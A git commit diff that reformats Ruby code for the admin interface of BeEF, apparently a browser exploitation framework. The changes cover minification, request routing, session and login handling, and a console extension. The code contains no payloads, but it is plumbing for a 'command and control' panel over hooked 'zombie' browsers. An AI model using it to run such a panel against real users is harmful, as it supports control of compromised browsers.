Extensions: Resolve many Rubocop violations

This commit is contained in:
Brendan Coles
2022-01-22 11:16:12 +00:00
parent 43af6391f0
commit aa7a6f9e64
94 changed files with 4874 additions and 5138 deletions

View File

@@ -4,146 +4,149 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
module API module API
#
# We use this module to register all the http handler for the Administrator UI
#
module Handler
require 'uglifier'
# BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
# We use this module to register all the http handler for the Administrator UI
#
module Handler
require 'uglifier'
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler') def self.evaluate_and_minify(content, params, name)
erubis = Erubis::FastEruby.new(content)
evaluated = erubis.evaluate(params)
def self.evaluate_and_minify(content, params, name) print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
erubis = Erubis::FastEruby.new(content) begin
evaluated = erubis.evaluate(params) opts = {
output: {
comments: :none
},
compress: {
dead_code: true
},
harmony: true
}
minified = Uglifier.compile(evaluated, opts)
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
rescue StandardError
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
minified = evaluated
end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
File.write(write_to, minified)
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)" File.path write_to
begin rescue StandardError => e
opts = { print_error "[AdminUI] Error: #{e.message}"
:output => { print_error e.backtrace
:comments => :none end
},
:compress => { def self.build_javascript_ui(beef_server)
:dead_code => true, # NOTE: order counts! make sure you know what you're doing if you add files
}, esapi = %w[
:harmony => true esapi/Class.create.js
} esapi/jquery-3.3.1.min.js
minified = Uglifier.compile(evaluated, opts) esapi/jquery-encoder-0.1.0.js
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)" ]
rescue
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}" ux = %w[
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !" ui/common/beef_common.js
minified = evaluated ux/PagingStore.js
ux/StatusBar.js
ux/TabCloseMenu.js
]
panel = %w[
ui/panel/common.js
ui/panel/PanelStatusBar.js
ui/panel/tabs/ZombieTabDetails.js
ui/panel/tabs/ZombieTabLogs.js
ui/panel/tabs/ZombieTabCommands.js
ui/panel/tabs/ZombieTabRider.js
ui/panel/tabs/ZombieTabXssRays.js
wterm/wterm.jquery.js
ui/panel/tabs/ZombieTabIpec.js
ui/panel/tabs/ZombieTabAutorun.js
ui/panel/PanelViewer.js
ui/panel/LogsDataGrid.js
ui/panel/BrowserDetailsDataGrid.js
ui/panel/ZombieDataGrid.js
ui/panel/MainPanel.js
ui/panel/ZombieTab.js
ui/panel/ZombieTabs.js
ui/panel/zombiesTreeList.js
ui/panel/ZombiesMgr.js
ui/panel/tabs/ZombieTabNetwork.js
ui/panel/tabs/ZombieTabRTC.js
ui/panel/Logout.js
ui/panel/WelcomeTab.js
ui/panel/ModuleSearching.js
]
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
end
config = BeEF::Core::Configuration.instance
bp = config.get 'beef.extension.admin_ui.base_path'
# if more dynamic variables are needed in JavaScript files
# add them here in the following Hash
params = {
'base_path' => bp
}
# process all JavaScript files, evaluating them with Erubis
print_debug '[AdminUI] Initializing admin panel ...'
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
end
#
# This function gets called automatically by the server.
#
def self.mount_handler(beef_server)
config = BeEF::Core::Configuration.instance
# Web UI base path, like http://beef_domain/<bp>/panel
bp = config.get 'beef.extension.admin_ui.base_path'
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
media_dir = "#{File.dirname(__FILE__)}/../media/"
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
unless config.get('beef.http.web_server_imitation.enable')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
'/favicon.ico',
'ico'
)
end
build_javascript_ui beef_server
end
end
end end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+")
File.open(write_to, 'w') { |file| file.write(minified) }
File.path write_to
rescue => e
print_error "[AdminUI] Error: #{e.message}"
print_error e.backtrace
end
def self.build_javascript_ui(beef_server)
#NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(
esapi/Class.create.js
esapi/jquery-3.3.1.min.js
esapi/jquery-encoder-0.1.0.js)
ux = %w(
ui/common/beef_common.js
ux/PagingStore.js
ux/StatusBar.js
ux/TabCloseMenu.js)
panel = %w(
ui/panel/common.js
ui/panel/PanelStatusBar.js
ui/panel/tabs/ZombieTabDetails.js
ui/panel/tabs/ZombieTabLogs.js
ui/panel/tabs/ZombieTabCommands.js
ui/panel/tabs/ZombieTabRider.js
ui/panel/tabs/ZombieTabXssRays.js
wterm/wterm.jquery.js
ui/panel/tabs/ZombieTabIpec.js
ui/panel/tabs/ZombieTabAutorun.js
ui/panel/PanelViewer.js
ui/panel/LogsDataGrid.js
ui/panel/BrowserDetailsDataGrid.js
ui/panel/ZombieDataGrid.js
ui/panel/MainPanel.js
ui/panel/ZombieTab.js
ui/panel/ZombieTabs.js
ui/panel/zombiesTreeList.js
ui/panel/ZombiesMgr.js
ui/panel/tabs/ZombieTabNetwork.js
ui/panel/tabs/ZombieTabRTC.js
ui/panel/Logout.js
ui/panel/WelcomeTab.js
ui/panel/ModuleSearching.js)
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n"
end
config = BeEF::Core::Configuration.instance
bp = config.get "beef.extension.admin_ui.base_path"
# if more dynamic variables are needed in JavaScript files
# add them here in the following Hash
params = {
'base_path' => bp
}
# process all JavaScript files, evaluating them with Erubis
print_debug "[AdminUI] Initializing admin panel ..."
web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n"
web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
end
#
# This function gets called automatically by the server.
#
def self.mount_handler(beef_server)
config = BeEF::Core::Configuration.instance
# Web UI base path, like http://beef_domain/<bp>/panel
bp = config.get "beef.extension.admin_ui.base_path"
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
if !config.get("beef.http.web_server_imitation.enable")
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
'/favicon.ico',
'ico')
end
self.build_javascript_ui beef_server
end end
end end
end end
end
end
end

View File

@@ -4,178 +4,179 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
#
# # Handle HTTP requests and call the relevant functions in the derived classes
# Handle HTTP requests and call the relevant functions in the derived classes #
# class HttpController
class HttpController attr_accessor :headers, :status, :body, :paths, :currentuser, :params
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Core::Models::Command
CM = BeEF::Core::Models::CommandModule
Z = BeEF::Core::Models::HookedBrowser
#
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@session = BeEF::Extension::AdminUI::Session.instance
@config = BeEF::Core::Configuration.instance C = BeEF::Core::Models::Command
@bp = @config.get "beef.extension.admin_ui.base_path" CM = BeEF::Core::Models::CommandModule
Z = BeEF::Core::Models::HookedBrowser
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil? #
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@session = BeEF::Extension::AdminUI::Session.instance
if data['paths'].nil? and self.methods.include? "index" @config = BeEF::Core::Configuration.instance
@paths = {'index' => '/'} @bp = @config.get 'beef.extension.admin_ui.base_path'
else
@paths = data['paths']
end
end
# @headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
# # @todo what if paths is nil and methods does not include 'index' ?
def authenticate_request(ip) @paths = if data['paths'].nil? and methods.include? 'index'
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new { 'index' => '/' }
if !auth.permitted_source?(ip) else
if @config.get("beef.http.web_server_imitation.enable") data['paths']
type = @config.get("beef.http.web_server_imitation.type") end
case type end
when "apache"
@body = BeEF::Core::Router::APACHE_BODY #
@status = 404 # Authentication check. Confirm the request to access the UI comes from a permitted IP address
@headers = BeEF::Core::Router::APACHE_HEADER #
return false def authenticate_request(ip)
when "iis" auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
@body = BeEF::Core::Router::IIS_BODY return true if auth.permitted_source?(ip)
@status = 404
@headers = BeEF::Core::Router::IIS_HEADER unless @config.get('beef.http.web_server_imitation.enable')
return false @body = 'Not Found.'
when "nginx" @status = 404
@body = BeEF::Core::Router::APACHE_BODY @headers = { 'Content-Type' => 'text/html' }
@status = 404 return false
@headers = BeEF::Core::Router::APACHE_HEADER end
return false
else type = @config.get('beef.http.web_server_imitation.type')
@body = "Not Found." case type
@status = 404 when 'apache'
@headers = {"Content-Type" => "text/html"} @body = BeEF::Core::Router::APACHE_BODY
return false @status = 404
end @headers = BeEF::Core::Router::APACHE_HEADER
else when 'iis'
@body = "Not Found." @body = BeEF::Core::Router::IIS_BODY
@status = 404 @status = 404
@headers = {"Content-Type" => "text/html"} @headers = BeEF::Core::Router::IIS_HEADER
return false when 'nginx'
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
else
@body = 'Not Found.'
@status = 404
@headers = { 'Content-Type' => 'text/html' }
end
false
rescue StandardError
print_error "authenticate_request failed: #{e.message}"
false
end
#
# Check if reverse proxy has been enabled and return the correct client IP address
#
def get_ip(request)
if @config.get('beef.http.allow_reverse_proxy')
request.ip # Get client x-forwarded-for ip address
else
request.get_header('REMOTE_ADDR') # Get client remote ip address
end
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.params
# Web UI base path, like http://beef_domain/<bp>/panel
auth_url = "#{@bp}/authentication"
# If access to the UI is not permitted for the request IP address return a 404
return unless authenticate_request(get_ip(@request))
# test if session is unauth'd and whether the auth functionality is requested
if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = ''
@status = 302
@headers = { 'Location' => auth_url }
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
unless BeEF::Filters.is_valid_path_info?(path)
print_error "[Admin UI] Path is not valid: #{path}"
return
end
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
if function.nil?
print_error "[Admin UI] Path does not exist: #{path}"
return
end
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file
@body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response
# set appropriate content-type 'application/json' for .json files
@headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages
end
rescue StandardError => e
print_error "Error handling HTTP request: #{e.message}"
print_error e.backtrace
end
# Constructs a html script tag (from media/javascript directory)
def script_tag(filename)
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html script tag (from media/javascript-min directory)
def script_tag_min(filename)
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html stylesheet tag
def stylesheet_tag(filename)
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
end
# Constructs a hidden html nonce tag
def nonce_tag
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
end
def base_path
@bp.to_s
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s)
s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }
end end
else
return true
end end
end end
#
# Check if reverse proxy has been enabled and return the correct client IP address
#
def get_ip(request)
if !@config.get("beef.http.allow_reverse_proxy")
ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address
else
ua_ip = request.ip # Get client x-forwarded-for ip address
end
ua_ip
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.params
# Web UI base path, like http://beef_domain/<bp>/panel
auth_url = "#{@bp}/authentication"
# If access to the UI is not permitted for the request IP address return a 404
if !authenticate_request(get_ip(@request))
return
end
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = ''
@status = 302
@headers = {'Location' => auth_url}
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
(print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path)
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
(print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil?
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
# set appropriate content-type 'application/json' for .json files
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
end
rescue => e
print_error "Error handling HTTP request: #{e.message}"
print_error e.backtrace
end
# Constructs a html script tag (from media/javascript directory)
def script_tag(filename)
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html script tag (from media/javascript-min directory)
def script_tag_min(filename)
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
end
# Constructs a html stylesheet tag
def stylesheet_tag(filename)
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
end
# Constructs a hidden html nonce tag
def nonce_tag
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
end
def base_path
@bp.to_s
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s)
s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')}
end
end end
end end
end
end

View File

@@ -4,112 +4,108 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
#
# The session for BeEF UI.
#
class Session
include Singleton
# attr_reader :ip, :id, :nonce, :auth_timestamp
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
def initialize
set_logged_out
@auth_timestamp = Time.new
end
# def initialize
# set the session logged in set_logged_out
# @auth_timestamp = Time.new
def set_logged_in(ip) end
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
@ip = ip
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
# #
# set teh auth_timestamp # set the session logged in
# #
def set_auth_timestamp(time) def set_logged_in(ip)
@auth_timestamp = time @id = BeEF::Core::Crypto.secure_token
end @nonce = BeEF::Core::Crypto.secure_token
@ip = ip
end
# #
# return the session id # set the session logged out
# #
def get_id def set_logged_out
@id @id = nil
end @nonce = nil
@ip = nil
# end
# return the nonce
#
def get_nonce
@nonce
end
# #
# return the auth_timestamp # set teh auth_timestamp
# #
def get_auth_timestamp def set_auth_timestamp(time)
@auth_timestamp @auth_timestamp = time
end end
# #
# Check if nonce valid # return the session id
# #
def valid_nonce?(request) def get_id
@id
end
# check if a valid session #
return false if not valid_session?(request) # return the nonce
return false if @nonce.nil? #
return false if not request.post? def get_nonce
@nonce
end
# get nonce from request #
request_nonce = request['nonce'] # return the auth_timestamp
return false if request_nonce.nil? #
def get_auth_timestamp
# verify nonce @auth_timestamp
request_nonce.eql? @nonce end
end
# #
# Check if a session valid # Check if nonce valid
# #
def valid_session?(request) def valid_nonce?(request)
# check if a valid session exists # check if a valid session
return false if @id.nil? return false unless valid_session?(request)
return false if @ip.nil? return false if @nonce.nil?
return false unless request.post?
# check ip address matches # get nonce from request
return false if not @ip.to_s.eql? request.ip request_nonce = request['nonce']
return false if request_nonce.nil?
# get session cookie name from config # verify nonce
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name') request_nonce.eql? @nonce
end
# check session id matches #
request.cookies.each{|cookie| # Check if a session valid
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) #
} def valid_session?(request)
request # check if a valid session exists
return false if @id.nil?
# not a valid session return false if @ip.nil?
false
# check ip address matches
return false unless @ip.to_s.eql? request.ip
# get session cookie name from config
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
# check session id matches
request.cookies.each do |cookie|
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
end
request
# not a valid session
false
end
end
end
end end
end end
end
end
end

View File

@@ -4,22 +4,18 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
module Constants module Constants
module Icons
module Icons VERIFIED_NOT_WORKING_IMG = 'red.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
VERIFIED_NOT_WORKING_IMG = 'red.png' VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png' VERIFIED_UNKNOWN_IMG = 'grey.png'
VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_UNKNOWN_IMG = 'grey.png' MODULE_TARGET_IMG_PATH = 'media/images/icons/'
end
MODULE_TARGET_IMG_PATH = 'media/images/icons/' end
end
end end
end end
end
end
end

View File

@@ -4,129 +4,129 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
module Controllers module Controllers
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
#
# Constructor
#
def initialize
super({
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
# @session = BeEF::Extension::AdminUI::Session.instance
# The authentication web page for BeEF. end
#
class Authentication < BeEF::Extension::AdminUI::HttpController
# # Function managing the index web page
# Constructor def index
# @headers['Content-Type'] = 'text/html; charset=UTF-8'
def initialize @headers['X-Frame-Options'] = 'sameorigin'
super({ end
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
@session = BeEF::Extension::AdminUI::Session.instance #
end # Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
ua_ip = if config.get('beef.http.allow_reverse_proxy')
@request.ip # get client ip address
else
@request.get_header('REMOTE_ADDR')
end
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permitted to authenticate
unless permitted_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
# Function managing the index web page # check if under brute force attack
def index return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@headers['Content-Type']='text/html; charset=UTF-8' @session.get_auth_timestamp,
@headers['X-Frame-Options']='sameorigin' ->(time) { @session.set_auth_timestamp(time) })
end
# # check username and password
# Function managing the login unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd')
# BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
def login return
end
username = @params['username-cfrm'] || '' # establish an authenticated session
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance # set up session and set it logged in
@headers['Content-Type']='application/json; charset=UTF-8' @session.set_logged_in(ua_ip)
@headers['X-Frame-Options']='sameorigin'
if !config.get("beef.http.allow_reverse_proxy") # create session cookie
ua_ip = @request.get_header('REMOTE_ADDR') session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
else Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })
ua_ip = @request.ip # get client ip address
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
@body = '{ success : true }'
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
unless @session.valid_nonce?(@request)
(print_error 'invalid nonce'
return @body = '{ success : true }')
end
unless @session.valid_session?(@request)
(print_error 'invalid session'
return @body = '{ success : true }')
end
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
@body = '{ success : true }'
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters.is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
# test if ip within subnets
permitted_ui_subnet.each do |subnet|
return true if IPAddr.new(subnet).include?(ip)
end
false
end
end
end
end end
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permitted to authenticate
if not permitted_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@session.get_auth_timestamp(),
lambda { |time| @session.set_auth_timestamp(time)})
# check username and password
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true})
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
@body = "{ success : true }"
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
(print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request)
(print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request)
@headers['Content-Type']='application/json; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now})
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
@body = "{ success : true }"
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters::is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
# test if ip within subnets
permitted_ui_subnet.each do |subnet|
return true if IPAddr.new(subnet).include?(ip)
end
false
end end
end end
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@@ -8,7 +8,6 @@ module BeEF
module AdminUI module AdminUI
module Controllers module Controllers
class Panel < BeEF::Extension::AdminUI::HttpController class Panel < BeEF::Extension::AdminUI::HttpController
def initialize def initialize
super({ super({
'paths' => { 'paths' => {

View File

@@ -4,15 +4,15 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
extend BeEF::API::Extension extend BeEF::API::Extension
@full_name = 'Administration Web UI' @full_name = 'Administration Web UI'
@short_name = 'admin_ui' @short_name = 'admin_ui'
@description = 'Command and control web interface' @description = 'Command and control web interface'
end end
end end
end end
# Constants # Constants

View File

@@ -8,44 +8,37 @@
# controllers into the framework. # controllers into the framework.
# #
module BeEF module BeEF
module Extension module Extension
module AdminUI module AdminUI
module Handlers module Handlers
class UI
class UI #
# Constructor
#
def initialize(klass)
# @todo Determine why this class is calling super?
# super
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
end
# def call(env)
# Constructor @request = Rack::Request.new(env)
# @response = Rack::Response.new(env)
def initialize(klass)
# @todo Determine why this class is calling super? controller = @klass.new
#super controller.run(@request, @response)
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
@response = Rack::Response.new(
body = [controller.body],
status = controller.status,
header = controller.headers
)
end
@request
@response
end
end
end end
def call(env)
@request = Rack::Request.new(env)
@response = Rack::Response.new(env)
controller = @klass.new
controller.run(@request, @response)
@response = Rack::Response.new(
body = [controller.body],
status = controller.status,
header = controller.headers
)
end
private
@request
@response
end end
end
end
end
end end

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Autoloader module Autoloader
end
end end
end
end end
require 'extensions/autoloader/model' require 'extensions/autoloader/model'

View File

@@ -4,15 +4,11 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module Models module Models
class Autoloading < BeEF::Core::Model
class Autoloading < BeEF::Core::Model belongs_to :command
end
belongs_to :command end
end
end
end
end
end end

View File

@@ -4,30 +4,28 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Console module Console
extend BeEF::API::Extension
extend BeEF::API::Extension #
# Sets the information for that extension.
# #
# Sets the information for that extension. @short_name = @full_name = 'console'
# @description = 'console environment to manage beef'
@short_name = @full_name = 'console'
@description = 'console environment to manage beef'
module PostLoad module PostLoad
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load') BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
def self.post_load def self.post_load
if BeEF::Core::Configuration.instance.get("beef.extension.console.enable") return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable')
print_error "The console extension is currently unsupported."
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090" print_error 'The console extension is currently unsupported.'
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false) print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090'
